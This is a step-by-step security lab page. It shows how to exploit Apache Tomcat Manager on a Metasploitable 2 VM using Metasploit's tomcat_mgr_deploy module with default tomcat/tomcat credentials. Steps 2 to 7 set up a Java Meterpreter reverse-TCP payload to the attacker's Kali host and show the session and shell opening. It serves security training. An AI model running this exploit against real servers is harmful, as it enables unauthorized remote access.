> For the complete documentation index, see [llms.txt](https://pontocom.gitbook.io/infoseclab/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pontocom.gitbook.io/infoseclab/vulnexploit/exploitation/tomcat.md).

# Tomcat (Apache Tomcat Manager Application Deployer Authenticated Code Execution)

## Tomcat (Apache Tomcat Manager Application Deployer Authenticated Code Execution)

**Note**: these labs are extremely oriented to the results, using a step-by-step guidance. During your progress, try to find more information and understand what you are doing.

## Requirements

| Kali Linux               | The Kali Linux VM (or any other type of installation)                                                                   |
| ------------------------ | ----------------------------------------------------------------------------------------------------------------------- |
| Metaploitable 2          | The Metasploitable 2 VM                                                                                                 |
| Metasploitable Framework | Metasploit Framework toolset (installed on Kali Linux by default)                                                       |
| Metasploitable 2 IP      | The IP address of the Metasploitable 2 VM. In my case it is 192.168.8.142. This may be different in your specific case. |
| Kali Linux IP            | The IP address of the Kali Linux machine. In my case it is 192.168.8.147. This may be different in your specific case.  |

## Laboratory Workflow

The following describe the different steps to be conducted during the laboratory. You may introduce variations on this and learn from those variations.

#### 1. Launch the Metasploit Framework

`msfconsole`

#### 2. Use the module

`use exploit/multi/http/tomcat_mgr_deploy`

`set PAYLOAD java/meterpreter/reverse_tcp` (this may be optional if your already have a payload configured when you select the module)

#### 3. Check the module options

`options`

```
Module options (exploit/multi/http/tomcat_mgr_deploy):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   HttpPassword                   no        The password for the specified username
   HttpUsername                   no        The username to authenticate as
   PATH          /manager         yes       The URI path of the manager app (/deploy and /undeploy will be used)
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                         yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT         80               yes       The target port (TCP)
   SSL           false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                          no        HTTP server virtual host

Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.8.147    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic
```

#### 4. Set the appropriate options

`set RHOSTS 192.168.8.142`

`set RPORT 8180`

`set HttpUsername tomcat`

`set HttpPassword tomcat`

`set LHOST 192.168.8.147`

`set LPORT 4444`

```
RHOSTS => 192.168.8.142
RPORT => 8180
HttpUsername => tomcat
HttpPassword => tomcat
LHOST => 192.168.8.147
LPORT => 4444
```

#### 5. Run the exploit

`exploit`

```
[*] Started reverse TCP handler on 192.168.8.147:4444 
[*] Attempting to automatically select a target...
[*] Automatically selected target "Linux x86"
[*] Uploading 6218 bytes as MdTPiApkM.war ...
[*] Executing /MdTPiApkM/uUFB3Y0B.jsp...
[*] Undeploying MdTPiApkM ...
[*] Sending stage (58829 bytes) to 192.168.8.142
[*] Meterpreter session 2 opened (192.168.8.147:4444 -> 192.168.8.142:58303) at 2023-03-28 18:56:15 -0400

meterpreter >
```

#### 6. Meterpreter session

Now you have a **meterpreter** session opened. This session will allow you to interact with the target.

```
meterpreter >
```

#### 7. Open a shell on the target machine

`shell`

```
meterpreter > shell
Process 1 created.
Channel 1 created.
```

## Video

Video that resumes everything on this laboratory.

![](/files/BoGngfe7oUKfFS4uGvR4)

## Questions

Now that you have completed this exploitation try to answer to following:

1. Now, what can I do with the exploitation achieved?
2. Which type of privileges do I have on the exploited target?
3. How was this accomplished?
4. Try to learn more about this vulnerability.